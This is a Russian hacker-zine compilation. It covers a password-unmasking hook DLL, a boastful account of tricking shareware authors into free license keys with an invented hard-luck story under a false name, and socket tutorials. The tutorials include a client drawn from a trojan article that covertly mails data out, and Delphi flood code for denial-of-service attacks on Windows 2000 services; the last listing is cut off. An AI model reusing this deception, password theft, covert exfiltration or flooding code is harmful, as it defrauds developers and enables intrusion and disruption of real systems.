В первой строке я передаю пойманное сообщение остальным ловушкам установленным в системе с помощью CallNextHookEx. После этого я получаю окно сгенерировавшее событие и проверяю тип события. Если была кликнута левая кнопка крысы и удержана пимпа Control, то убрать звёздочки.

Я не могу больше останавливаться на этой DLL потому что моя рубрика не резиновая. Придётся тебе разбираться с происходящим по комментариям.

Юзаем DLL:

Теперь напишем прогу, которая будет загружать DLL и запускать ловушку. Для этого создай новый проект (такие мы уже создавали). Перейди в исходник, и найди раздел var. Рядом должно быть написано что-то типа «Form1: TForm1». Допиши сюда строку:

procedure RunStopHook(State : Boolean) stdcall; external 'hackpass.dll' index 1; 

В этой строке я объясняю Delphi, что есть такая функция RunStopHook, которая находится в написанной мной библиотеке hackpass.dll и её индекс = 1. Вот по этому индексу Delphi и будет вызывать функцию. Можно конечно же и по имени, но это будет немного медленней.

Теперь создай обработчик события для формы OnShow и напиши там:

RunStopHook(true); 

И наконец создай обработчик события OnClose и напиши:

RunStopHook(false); 

Кранты паролям:

Всё наше приложение готово. Запусти его. Потом перейди в окно со строкой ввода и кликни там левой кнопкой крысы удерживая Control. Звёздочки моментально превратятся в реальный текст.

Для большего эффекта можешь бросить на форму проги загружающей DLL, какую-нибудь картинку. Ну а если что-то не понятно, то просто тренируйся. Со временем всё само придёт. Главное практика.

Социальная инженерия в реверс инженеринге.

!ВНИМАНИЕ! Некоторые нижеследующие грамматические ошибки допущены намерено, как часть общего замысла.

Далее на e-mail авторам было отправлено такое сообщение:

Subject: %PROGRAM%
Здраствуйте, уважаемый %AUTHOR%.
Мне очень нравится ваша программа %PROGRAM% - я пользуюсь ей 
почти каждый день и хотел бы стать зарегистрированным пользователем, 
но сумма, которую надо заплатить очень велика. У нас многодетная 
семья 5 детей, мы живем на 120 рублей в день и еле сводим концы с 
концами, поэтому родители не позволяют мне заплатить за вашу 
программу, не могли бы вы дать мне бесплатную регистрацию, я буду 
вам очень-очень благодарен за это !
Поверьте, я действительно очень хотел бы ее купить, но у меня нет 
денег даже на модем и интернет (я отсылаю вам это письмо от друга), 
а старенький компьютер нам подарил сосед-програмист.
Огромное спасибо!
Шепелев Антон.
Адрес электроной почты: sam*****@yandex.ru

От создателя этой программы я получил следующее письмо:

Здравствуйте Антон,
Спасибо Вам за интерес к нашей программе. Мы готовы дать Вам
бесплатную регистрацию в обмен на небольшой отчет следующего
содержания:
- для чего Вам нужен ZSKSoft Synchronizer, как Вы его используете
  (желательно подробно);
- что Вам нравится в программе, что не нравится, что хотелось бы
  видеть в будущих версиях;
- чем Вам не подходит бесплатная программа vuBrief:
  http://www.vu-software.spb.ru/brief/
- характеристики Вашего компьютера: процессор, обьем памяти, размер
  диска, операционная система.
С уважением,
 Сергей Зырянов
 http://www.zsk****.com/rus
 support@zsk****.com

Хотел было не отвечать, лень было изучать программу, но потом решил все таки пойти до конца, почитал help-файл, попробовал и выдал следующий текст, вжившись в положение Шепелева Антона.

Здраствуйте, Сергей.
Огромное спасибо за ответ, я рад что смогу вам чем-то помочь 
в обмен на регистрацию, вот мой отчет:
1. Я использую ZSync для ежедневного резервного копирования 
файлов doc и rtf на дискету (я занимаюсь набором рукописей), 
дело в том что жесткий диск компьютера начал уменьшатся в 
размере ежедневно (хозяин сказал, что это обычное 
явление для старых дисков) - однажды я потерял весь свой труд.
2. По началу использования программы мне было сложно ее освоить, 
я не сразу понял что есть что, но потом так привык к ней, что 
немогу себе представить, что я буду без нее делать. Особенно 
нравится мне выбор типов файлов для копирования.
3. Про vuBrief я ничего не знаю, потому что не имею личного 
доступа к интернету, может быть она и подошла бы, кстати вашу 
программу мне дали на диске, кажется "системные утилиты".
4. Компьютер: Pentium-90, 16 мегабайт оперативной памяти, 
жесткий диск - 1 гигабайт, Windows 98.
Еще раз спасибо !
Шепелев Антон.

На следующий день я получил такое замечательное письмо:

Уважаемый Антон,
Спасибо Вам за регистрацию ZSKSoft Synchronizer.
Файл с Вашим личным ключом регистрации (ZSync.key) находится во
вложении к этому письму. Помните, что лицензия на использование
ZSKSoft Synchronizer предоставлена лично Вам, передача кому либо или
публикация ключа влечет немедленное и автоматическое прекращение Вашей
лицензии.
Для регистрации программы выполните следующие шаги:
(предварительно ознакомьтесь с примечанием в конце письма)
1. Убедитесь, что у Вас установлена последняя версия. Для этого
запустите ZSKSoft Synchronizer и откройте окно "О программе" (пункт
меню "Помощь"/"О программе") - там должна быть строчка "Версия 1.21".
При необходимости скачайте и установите последнюю версию с
http://www.zsk****.com/rus/ZSyncSetup.zip. После установки запустите
ZSKSoft Synchronizer хотя бы один раз.
2. Откройте вложенный в письмо файл ZSync.key (наведите на него
указатель мыши и дважды щелкните, это можно сделать прямо в почтовой
программе). Если появится вопрос "Добавить в реестр информацию...?",
ответьте "Да". Вы увидите такое сообщение: "Данные из ZSync.key были
успешно внесены в реестр" либо "Information in ZSync.key has been
succesffully entered into the registry".
3. Запустите ZSKSoft Synchronizer, и Вы должны увидеть свое имя в
графе "Зарегистрировано:" в диалоговом окне "Помощь"/"О программе".
Если Вы потеряете файл ZSync.key и Вам понадобится переустановить
ZSKSoft Synchronizer - напишите в нашу службу технической поддержки
support@zsk****.com, и мы пришлем Вам ключ снова.
 
Как зарегистрированный пользователь Вы можете бесплатно скачивать все
обновления и новые версии программы с нашего сайта в течении 1 года с
момента регистрации. Если у Вас появятся затруднения в работе с
программой, мы всегда будем рады Вам помочь. Также мы с удовольствием
примем от Вас любые замечания, предложения и комментарии и постараемся
воплотить их в будущих версиях.
====================================================================
Это ключ должен без проблем подойти к Вашей версии ZSync (1.11).
Перенесите файл ZSync.key на свой компьютер и щелкните по нему в
проводнике Windows. Если что-то не получится - пишите, поможем.
Последняя версия (1.21) отличается от Вашей следующим:
  - может сравнивать содержимое файлов, т.е. показывать, что именно
    там изменилось. Это удобно для текстовых файлов, для doc и rtf
    вряд ли пригодится, т.к. у них довольно-таки нечитабельный формат
  - можно выбирать каталог в локальной сети
  - можно проверять изменившиеся файлы не по дате/времени, а по
    содержимому. Это бывает полезно, скажем, для обьектных файлов; а в
    Вашем случае разве что замедлит работу с дискетой.
В общем, можете не беспокоится о том, что Ваша версия немного
устарела.
    
С уважением,
 Сергей Зырянов
 http://www.zsk****.com/rus
 support@zsk****.com

Вот что он мне ответил на мое первое письмо:

Здравствуйте,
Большое спасибо за письмо, я рад что вам понравилась наша программа. Сейчас
доступна версия 2.6 которая имеет более удобный интерфейс, больше функций и
меньше ошибок. Скачать ее можно отсюда:
http://www.*****software.com/pc2pcpro.zip ~2.5Mb.
Для России у нас есть специальные цены, например Pic2Pic Pro стоит всего 200
рублей, купить ее можно здесь
http://www.shareg.com/req.php3?prodid=****&referer=29574 (страница с
информацией об оплате - http://www.shareg.net/clientfaq.php3). Мы конечно
можем выслать вам регистрационный ключ бесплатно, но мне кажется что 200
рублей не большие деньги за такую программу. Вы как считаете?
С уважением,
Леонид Паршуков
support@*****software.com
http://www.*****software.com

Надо сказать тут более легко и просто все получается, нежели в первом случае, но, похоже, автор не очень проникся положением Шепелева Антона. В ответ я черканул ему такое письмо:

Здраствуйте, Леонид.
Огромное спасибо, что вы ответили. Сейчас хотел загрузить версию 2.6, но друг мне
не разрешил, сказав, что это долго. 
Я считаю, что WaveL Pic2Pic Pro достойна своей цены и даже большего, но такие 
деньги я смогу получить может быть только на день рождения, в октябре, я знал,
что цена программы 200 рублей, пиша первое письмо поэтому и обратился к вам.
Буду очень вам благодарен, если вы сможете выслать регистрационый ключ.
Спасибо!
Шепелев Антон.

А вот и долгожданное письмо:

Здравствуйте,
Хорошо, можете использовать эту регистрационную информацию:
Name - Shepelev Anton
Key - ****-F884-****-CAB4-355C-32CD-530C-58CC-ABC2
Помните, что это конфиденциальная информация, пожалуйста, не распространяйте
ее.
С уважением,
Леонид Паршуков
support@*****software.com
http://www.*****software.com

Здесь все прошло гораздо проще:

Здравствуйте, Антон
Присылайте регистрационное имя для первого варианта регистрации, см. меню
Помощь\Зарегистрировать
С уважением, Владислав, icq #125695458
Радиотехника, Схемотехника, Электроника - http://*****am.nm.ru
QuickPic SchemCreator 3.4.x - редактор электрических схем.

Пришлось, однако, скачать, чтобы регистрационное имя узнать.

Здраствуйте, Владислав Николаевич.
Еще раз огромное спасибо, вот регистрационое имя:
8080-0A6C
Шепелев Антон.

Вот и наш серийник:

Здравствуйте Антон и Олег !
Вот регистрационные данные, вводите их аккуратно, иначе программа будут работать 
некорректно, и придется разрегистрировать программу (там же , в менню Помощь) и 
снова вводить:
8080-0A6C
10575921062********
Удачи !
С уважением, Владислав, icq #125695458
Радиотехника, Схемотехника, Электроника - http://*****am.nm.ru
QuickPic SchemCreator 3.4.x - редактор электрических схем.

Эта статья может свободно использоваться на любых сайтах, при условии полного сохранения содержания статьи, включая это предложение.

Сокеты 1.

В этой статье я немного расскажу о сокетах и о граблях, на которые я понаступал, программируя различные клиентские и серверные приложения на протоколе TCP/IP. Постараюсь объяснить простым языком для неспециалистов. Здесь будут даны самые начальные сведения и будет попытка обобщения. В некоторых статьях есть такая фраза - "для ... необходимо знать это и то, а для тех кто не знает - идите смотрите там, не знаю где". Теперь будет ясно "где"; и эти статьи, я думаю, могут быть справочником в дальнейшем. Будет рассмотренна работа с сокетами в m$ windows. Для программирования сокетов в никсах различие очень незначительны (все функции и структуры мелкософт постарался без изменений передрать) и основные из них рассмотрены в статьях, ссылки на которые приведены в конце, в разделе "Что еще почитать". Программа, использующая сокеты, может работать с одним сокетом или с множеством одноременно "открытых" сокетов (сокетный движок). Сразу стоит выделить различие между блокирующими (асинхронными) и неблокирующими (синхронными, требующими синхронизацию) сокетами.

Попытка соединения и приема данных может быть вызванна в блокирующем режиме (отправка всегда неблокирующая - просто добавление в очередь сокета данных). Это значит, что пока программа не соеденится или не примет данные, передача управления на следующий оператор не происходит. Это подходит для приложений, использующих один сокет, где ожидание приема данных обязательно, в программах с сокетным движком (много сокетов), где создается несколько отдельно работающих процессов с линейными алгоритмами и т.п.

Или же работа с сокетным движком может бытиь реализована в неблокирующеим режиме. При этом сразу же, не дожидаясь соединения или приема данных, происходит передача управления на следующий оператор программы. В последующем алгоритме необходимо использовать оператор select (переключение) и делать опросы сокетов на предмет приняты/нет данные. Обычно это выполняется в цикле - выход по установленному тайм-ауту (количество произведенных опросов сокета, при котором можно считать, что произошла ошибка или скорость соединения неудовлетворительна) или с использованием работы с назначением и реакцией сообщений операционной системы.

Итак, вначале некоторый ликбез. Программы, о которых пойдет речь ниже, делятся на клиенты и серверы. Вначале необходимо рассмотреть минимум используемых функций, для работы этих программ. В m$ windows работой с сокетами "заведует" winsock.dll. Для разных языков программирования синтаксис вызова функций из этой DLL незначителен. В Delphi, например, в катологе Source находится файл winsock.pas, который всего лишь объявляет нужные функции и структуры данных. При подгрузке модуля WinSock в uses, их можно вызывать с синтаксисом паскаля, но от этого принцип их работы не изменится. Кстати, не советовал бы использовать стандартные компоненты Delphi и Builder (TServerSocket, TClientSocket) из-за их глючности. Если не очень хочется использовать стандартные winsock-функции, то можно взять набор компонент Indy. Вот функции winsock:

int WSAStartup (WORD wVersionRequested, LPWSADATA lpWSAData);

int WSACleanup; 

SOCKET socket (int af, int type, int protocol); 

int closesocket (SOCKET s); 

int bind (SOCKET s, const struct sockaddr FAR* name, int namelen); 

int connect (SOCKET s, const struct sockaddr FAR* name, int namelen); 

int WSAAsyncSelect (SOCKET s, HWND hWnd, unsigned int wMsg, long lEvent); 

int select (int nfds, fd_set FAR * readfds, fd_set FAR * writefds, fd_set FAR * exceptfds, const struct timeval FAR * timeout); 

int WSAEventSelect (SOCKET s, WSAEVENT hEventObject, long lNetworkEvents); 

int send (SOCKET s, const char FAR * buf, int len, int flags); 

int recv (SOCKET s, char FAR* buf, int len, int flags); 

Кстати, и в блокирующих и в неблокирующих сокетах, используется так или иначе функция [...]select. Только опрос о состоянии очереди сокета мы производим сами (неблокирующий режим) или это делает операционная система (блокирующий).

Преобразование адреса

Вот пример функции на Delphi, которая преобразует адрес из имени или спецификации ip4, в четырехбайтное значение, требующееся для структуры sockaddr_in, с которой работает сокет:

uses WinSock;
function d_addr(IPaddr : string) : Cardinal;
var
  pa: PChar;
  sa: TInAddr;
  Host: PHostEnt;
begin
  Result:=inet_addr(PChar(IPaddr));
  // Перевод если адреа не в ip4
  if Result=INADDR_NONE then
  begin
    host:=GetHostByName(PChar(IPaddr));
    if Host = nil then
      exit
    else
    begin
      // Преобразование
      pa := Host^.h_addr_list^;
      sa.S_un_b.s_b1 := pa[0];
      sa.S_un_b.s_b2 := pa[1];
      sa.S_un_b.s_b3 := pa[2];
      sa.S_un_b.s_b4 := pa[3];
      with TInAddr(sa).S_un_b do
        Result:=inet_addr(PChar(IntToStr(Ord(s_b1)) + '.' + IntToStr(Ord(s_b2)) + '.' +
        IntToStr(Ord(s_b3)) + '.' + IntToStr(Ord(s_b4))));
    end;
  end;
end;

Использование блокировки в некоторых программах:

Создание отдельной нити, процесса (Threads)

Для создания отдельного процесса обработки сокета при использовании сокетного движка (несколько сокетов, которые должны работать параллельно), необходимо этот процесс описать. Вот небольшой пример описания, создания и завершение процесса на Delphi:

uses WinSock;
//Описываем процесс как класс, типа TThread
type
  TScaner = class(TThread)
    Sock : TSocket;
  private
  protected
    procedure Execute; override;
    procedure Run;
end;
//забиваем место в памяти под процесс
var
  Scaner : TScaner;
//фунцция, вызываемая при создании процесса
procedure TScaner.Execute;
var
  
begin
  
  //запуск дополнительной фунцции процесса
  Synchronize(Run);
  //закрытие сокета
  closesocket(Sock)
  //Прервать процесс
  Terminate;
end;
//дополнительная фунцция
procedure TScaner.Run;
var
  
begin
  
end;
//программа
begin
  
  //создать процесс, но пока не запускать
  Scaner:=TScaner.Create(true);
  //Освободить память при прерывании процесса
  Scaner.FreeOnTerminate:=true;
  //установить приоритет
  Scaner.Priority:=tpLowest;
  //запустить процесс
  Scaner.Resume;
  
end.

Этот прием очень удобен, например, для вызова обработки сокета и прерывания по какой-либо клавише. На клавишу "Start" цепляем создание процесса, а на клавишу "Stop" - Scaner.Terminate. Можно также описать процедуру Terminate процесса, где будет closesocket. Этот процесс будет работать независимо от основной программы. Правда для синхронизации его с VCL главного окна, его необходимо немного дописать. Этот прием одинаково удобен и для неблокирующего (создается процесс, в котором уже идет цикл по select по множеству сокетов) и для блокирующего сокета (создается много процессов и для каждого свой сокет) при написании различных клиентов и сканеров. В частности, он использовался мной для написания моей многонитевой программы "DScan", которая включает универсальный клиент, сканер, брутфорсер и предоставленна со всеми исходниками.

Для получения первичных сведений, поданной информации вполне достаточно. Во второй части будут приводится примеры простейших программ с использованием сокета и с подробными комментариями.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Сокеты 2 (Кодинг блокирующих сокетов).

Простейший клиент

Рассмотрим пример простейшего SMTP-клиента, отсылающего в скрытом режиме некоторую информацию на указанный e-mail. Пример возьмем из моей статьи Troyan #1. Используется блокирующий сокет. Рассмотрим более подробно немного измененный кусок на Delphi, отвечающий за инициализацию и соединение с SMTP-сервером:

// Адрес в нормальном виде SMTP-сервера
MySmtp:='freemail.ukr.net';
// Инициализируем сокетную DLL
WSAStartUp(257, wsadata);
// Инициализируем сокет для соединения с SMTP-сервером
// Протокол - TCP/IP, получение данных - SOCK_STREAM 
sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
sin.sin_family := AF_INET;
// Порт SMTP-сервера - 25 
sin.sin_port := htons(25);
// Преобразуем адрес в четырехбайтное число с помощью функции,
// рассмотреной в первой статье
sin.sin_addr.S_addr:=d_addr(MySmtp);
// Соединение с сервером (адрес и порт указаны в структуре sin,
// sock - сокет для работы с указанным сервером по протоколу TCP/IP 
connect(sock,sin,sizeof(sin));

Отправка данных

Как уже говорилось в первой статье, send - это неблокирующая операция. Здесь есть небольшие грабли. Если нам необходимо отправить кусок данных ОПРЕДЕЛЕННОГО размера, то send может мгновенно положить в очередь кусок данных (сколько сможет), а остальное из-за неблокирующего режима просто не успеть отправить, перейдя на выполнение следующего кода. Т.к. эта функция возвращает количество отправленных байт, то можно написать функцию доотправки данных. Вот исходники на Delphi:

// DTrSend. первый параметр - буфер для отправки, второй параметр - длинна,
// третий параметр - сокет.
function DTrsend(Buf : string; LenStr : Cardinal; DTrsock : TSocket) : Cardinal;
var
  DopI, DopI1, DopI2, DopI3 : Integer;
begin
  Screen.Cursor:=crHourGlass;
  Result:=send(DTrsock,Buf,0,0);
  // Проверка соединения - отправка 0
  if Result=SOCKET_ERROR then
  begin
    Screen.Cursor:=crDefault;
    Application.MessageBox(PChar('Error send data. Server was disconnected,
    closed or not available.'), 'Error', mb_Ok + mb_TaskModal + mb_IconStop);
    closesocket(DTrsock);
    Result:=0;
    exit;
  end;
  // обнудение тайм-аута
  DopI:=0;
  // сколько отправлено
  DopI2:=0;
  // сколько нужно отправить
  DopI3:=LenStr;
  // цикл отправки
  while true do
  begin
    // отправка данных с нужной позиции нужного кол-ва
    DopI1:=send(DTrsock,Buf[DopI2+1],DopI3,0);
    // подсчет отправленного
    DopI2:=DopI2+DopI1;
    // подсчет сколько нужно отправить
    DopI3:=DopI3-DopI1;
    // если все отправили или тайм-аут - выход
    if (DopI2>=LenStr)or(DopI>666) then
      break;
    inc(DopI);
    sleep(100);
  end;
  Result:=DopI2;
  if Resultthen
    Screen.Cursor:=crDefault;
end;

А вот исходники на MASM:

; MySend. первый параметр - буфер для отправки, 
; второй параметр - длинна, третий параметр - сокет. 
MySend PROC StrSend : DWORD, LenStr : DWORD, clnt : DWORD
; edi указывает на буфер для отправки
mov edi, StrSend
; ebx - сколько нужно отправить
mov ebx, LenStr
; dll2 - сколько отправленно
mov dll2, 0
; dll0 - тайм-аут
mov dll0, 0
; Цикл отправки
.WHILE TRUE
; Отправка данных
invoke send, clnt, edi, ebx, 0
; Добавление в dll0 количества отправленных данных
add dll0, eax
; Если отправленно необходимое число - выход из цикла
mov eax, LenStr
.BREAK .IF ( dll0 >= eax )
; Если тайм-аут - выход из цикла
inc dll2
.BREAK .IF ( dll2 >= 666 )
; переставить указатель на позицию данных в буфере, которые еще не отправленны
add edi, dll0 
; пересчитать кол-во отправляемых данных
sub ebx, dll0
.ENDW
invoke Sleep,10 
ret
MySend ENDP

Также пишется и функции отправки данных. Только вместо send - recv. Только recv может работать на синхронном или асинхронном сокете или на сервере. Для клиента на блоктрующем сокете - все один к одному. Для неблокирующего сокета и сервера на блокирующем - см. ниже.

Клиент на асинхронном сокетном движке

Рассмотрим другую мою статью Взлом e-mail #1. Для создания сокетного движка использовались блокирующие сокеты и определенное количество отдельно работающих процессов. Каждый процесс содержал сокет. Еще один пример сокетного движка в асинхронном режиме можно посмотреть в моей программе "DScan v.1.2". Побольшому счету, эти два примера отличаются только созданием процессов работы с сокетами. Такой сокетный движок имеет свои преимущества по сравнению с неблокирующим режимом и свои недостатки. Преимущества в том, что оператор select вызывается в блокирующем режиме самой системой и нет постоянного цикла опроса, загружающего процессор. Плюс то, что все процессы работают отдельно и при возникновении какой-либо ошибки, процесс, в котором произошла ошибка, просто останавливается с последующим освобождением занятой им памяти. Остальные при этом продолжают работать. Как уже говорилось в первой статье, этот способ (по моему мнению) идеально подходит для DiulUp и не очень широкого канала при выделенке. Для очень хорошего канала и с очень большим количеством процессов, такой сокетный движок будет очень загружать ядро системы. Особенно это неприемлимо для win-9x/me, где отвратительно сделана многозадачность, распределение памяти, синхронизация и "синий экран" при многопоточных приложениях - обычное дело.

Простейший сервер

Рассмотрим пример простейшего сервера на MASM (почему на MASM - смотри мои статьи по BackDoor). Используется блокирующий сокет, с реакцией на соединение, получение данных от клиента и разрыв связи. Реакция на эти действия производится в функции обработки оконных сообщений, которую мы связываем с сокетом функцией WSAAsyncSelect (см. первую статью). Этот наш сервер будет реагировать на соединение и получение данных от клиента тем, что будет отвечать строкой 'hello'. Вот исходники на MASM:

.386
.model flat,stdcall
option casemap:none
; Подгружаемые модули
; ВНИМАНИЕ!!! необходимо правильно прописать пути к файлам *.lib и *.inc
include \masm32\include\windows.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
; ФУНКЦИЯ создания окна
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; КОНСТАНТЫ
.DATA 
Hello db "Hello",0
ClassName db "DTR13Class",0
AppName db "DTR13",0
IconName db "TDIcon",0
wsadata WSADATA <>
sin sockaddr_in <>
WM_SOCKET equ WM_USER + 100
; ПЕРЕМЕННЫЕ
.DATA?
hInstance dd ?
CommandLine dd ?
sock dd ?
client dd ?
BufStr db 6666 dup (?) ; Буфер приема
Port dd ? ; Порт
; Раздел кода
.CODE
start: 
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
;---------------------------------------
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
; Создадим окно для обработки сообщений
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
; Создать маленькое окно
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL
mov hwnd,eax
; Показать окно
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
; Инициализация сокетных функций
invoke WSAStartup,101h,addr wsadata
invoke socket,AF_INET,SOCK_STREAM,0
mov sock,eax
; реакция на соединенрие, получение данных и закрытие сокета
invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ+FD_CLOSE
mov sin.sin_family,AF_INET
;порт = 10001
mov Port,10001
invoke htons,Port
mov sin.sin_port,ax
; Адрес - любой для сервера
mov sin.sin_addr,INADDR_ANY
; Связь адресов и порта с сервером
invoke bind, sock,addr sin,sizeof sin
invoke listen,sock,SOMAXCONN
; Цикл обработки сообщений от m$ windows
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
;---------------------------------------
; Функция обработки сообщений окну
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
; Реакция на создание окна
.IF uMsg == WM_CREATE
; Реакция на закрытие проги
.ELSEIF uMsg == WM_DESTROY
invoke WSACleanup
invoke PostQuitMessage,NULL
; Реакция на сообщение от сокета 
.ELSEIF uMsg == WM_SOCKET
mov eax,lParam
; Соединение
.IF ax == FD_ACCEPT
shr ax,16
.IF ax == NULL
; При соединении инициализируем сокет и отправим клиенту строку
invoke accept,sock,0,0
mov client,eax
invoke send,client,addr Hello,sizeof Hello,0
invoke Sleep,10
.ENDIF
; Реакция на получение данных от клиента
.ELSEIF ax == FD_READ
; Обнулим буфер для получения
mov ecx,6666
mov edi,offset BufStr
lll: mov byte ptr [edi],0
inc edi
loop lll
mov eax,wParam
mov client,eax 
; Получим данные в BufStr
invoke recv,client,addr BufStr,sizeof BufStr,0
; При ошибке - получим еще раз
.IF eax == SOCKET_ERROR
invoke recv,client,addr BufStr,sizeof BufStr,0
.ENDIF
; Отправим клиенту строку
invoke send,client,addr Hello, sizeof Hello, 0
invoke Sleep,10 
; Реакция на разрыв соединения
.ELSEIF ax == FD_CLOSE
mov eax,wParam
; Закроем сокет
invoke closesocket, eax
.ENDIF
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
END start

Компилим, запускаем. Должно появиться маленькое окно. Теперь можно написать клиент или просто соединиться TelNet-ом на 10001 порт. Сервер при соединении и посылке ему любых данных, будет слать обратно строку "Hello". Можно этот код переписать на Delphi или C - все используемые функции из ядра виндов. Отличается только синтаксис. Также следует отметить, что принцип действия всех серверов и в никсах и в виндах примерно одинаков. Поняв принцип работы одного - примерно понимаешь принцип работы всех.

"Грабли" сервера

Мы примерно поняли принцип работы серверов. Теперь рассмотрим наиболее распространенные ошибки при написании этих самых серверов. Серверу надо принять столько данных, сколько мы ему послали. Так как принимает сервер их частями и в функции реакции на прием данных в рассмотренном выше примере их нельзя как-то докачать (после срабатывания FD_READ, recv для докачки не может получить из стека остальные данные потому, что еще не была вызвана функция получения сообщения от винды и доступ к очереди сокета закрыт). Значит необходимо хранить где-то все сокетные соединения и часть уже пришедших на них данных и при срабатывании FD_READ, накапливать эти данные. При достижении необходимого размера или комбинации символов, соответствующих сигналу конца пакета, соответственно реагировать. Структура сервера при этом усложнится. Необходимо выбрать для себя режим работы с пакетами - по размеру или по определенной комбинации символов - признак окончания пакета. Теперь о самом главном. В виндоуз есть несколько очень уникальных WinAPI функций, которые допускают DoS. Это функции lstr..., printf и прочие. Для сервера, нас интересуют именно функции для работы со строками с нулевым символом на конце (lstr...). Например, буфер накопления данных от клиента имеет определенный размер. И сервер понимает окончание пакета, как получение от клиента куска данных этого размера. Пока не накопит - не реагирует. Можно подобрать размер отправляемых данных таким образом, что накапливаемые данные превысят размер буфера, попадут в область кода или в область других данных и произойдет выполнение определенных команд или отказ работы всего сервера. Если в конце принимаемого пакета обязательно должна стоять определенная комбинация символов, то посылая большие куски данных, не содержащие эти символы, мы также можем сделать переполнение буфера. Также можно поиздеваться над сервером, посылая данные с разными флагами (например, MSG_OOB - самый простой Nuke на 139 порт), попробовать инициализировать соединение как UDP, ICMP и т.д. и т.п. Есть целый ряд уязвимостей различных сервисов, основанных на этом принципе. В основном, это способы удаленного отказа работы сервера. Найти уязвимость, заставляющую сервер исполнять определенный кусок данных, переполнив буфер - это высший пилотаж. В следующей статье будут рассмотрены несколько самых простых примеров удаленного отказа в обслуживании.

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к зависанию всей системы в целом.

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Сокеты 3 (Кодинг неблокирующих сокетов).

Удаленный отказ работы

Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:

program IKE_attack;
uses
  WinSock;
const MyComp = 'ADDRESS';
var
  wsadata : TWSAData;
  sin: TSockAddrIn;
  sock: TSocket;
  I : Cardinal;
  Buf : string;
begin
  WSAStartUp(257, wsadata);
  // Инициализируем сокет для соединения с удаленным компьютером по UDP
  // Протокол - UDP, отправка данных - SOCK_DGRAM
  sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  sin.sin_family := AF_INET;
  // Порт - 500
  sin.sin_port := htons(500);
  // Преобразуем адрес в четырехбайтное число с помощью функции,
  // рассмотреной в первой статье
  sin.sin_addr.S_addr:=d_addr(MyComp);
  // Соединение
  I:=connect(sock,sin,sizeof(sin));
  // если нельзя соединиться - выход
  if Ithen
    halt(1);
  // Формирование мусора для отсылки
  Buf:='';
  for I:=1 to 1024 do
    Buf:=Buf+chr(30+round(60));
  // Посылка мусора с помощью функции,
  рассмотренной во второй статье
  while true do
    DTrsend(Buf,1024,sock);
end.

Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:

program port445TCP;
uses
  WinSock;
const
  maxproccess=250; // Количество процессов
  // Флаги
  CLOSE_SOCK=0;
  CONNECTING_SOCK=1;//
  CONNECTED_SOCK=2; //
  // Таймаут
  TIME_OUT=10;
var
  // Массив сокетов
  sock : array [1..maxproccess] of TSocket;
  // Массив флагов
  stat : array [1..maxproccess] of Byte;
  time : array [1..maxproccess] of Byte;
